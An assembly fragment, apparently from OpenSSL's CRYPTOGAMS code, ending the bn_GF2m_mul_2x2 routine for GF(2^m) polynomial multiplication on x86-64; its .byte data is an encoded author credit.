movq %rax,16(%rsp)
movq %rdx,24(%rsp)
movq 48(%rsp),%rax
movq 64(%rsp),%rbp
call _mul_1x1
movq %rax,0(%rsp)
movq %rdx,8(%rsp)
movq 40(%rsp),%rax
movq 56(%rsp),%rbp
xorq 48(%rsp),%rax
xorq 64(%rsp),%rbp
call _mul_1x1
movq 0(%rsp),%rbx
movq 8(%rsp),%rcx
movq 16(%rsp),%rdi
movq 24(%rsp),%rsi
movq 32(%rsp),%rbp
xorq %rdx,%rax
xorq %rcx,%rdx
xorq %rbx,%rax
movq %rbx,0(%rbp)
xorq %rdi,%rdx
movq %rsi,24(%rbp)
xorq %rsi,%rax
xorq %rsi,%rdx
xorq %rdx,%rax
movq %rdx,16(%rbp)
movq %rax,8(%rbp)
movq 80(%rsp),%r14
movq 88(%rsp),%r13
movq 96(%rsp),%r12
movq 104(%rsp),%rbp
movq 112(%rsp),%rbx
leaq 136(%rsp),%rsp
.byte 0xf3,0xc3
.Lend_mul_2x2:
.size bn_GF2m_mul_2x2,.-bn_GF2m_mul_2x2
.byte 71,70,40,50,94,109,41,32,77,117,108,116,105,112,108,105,99,97,116,105,111,110,32,102,111,114,32,120,56,54,95,54,52,44,32,67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97,112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103,62,0
.align 16
|
{
"language": "Assembly"
}
|
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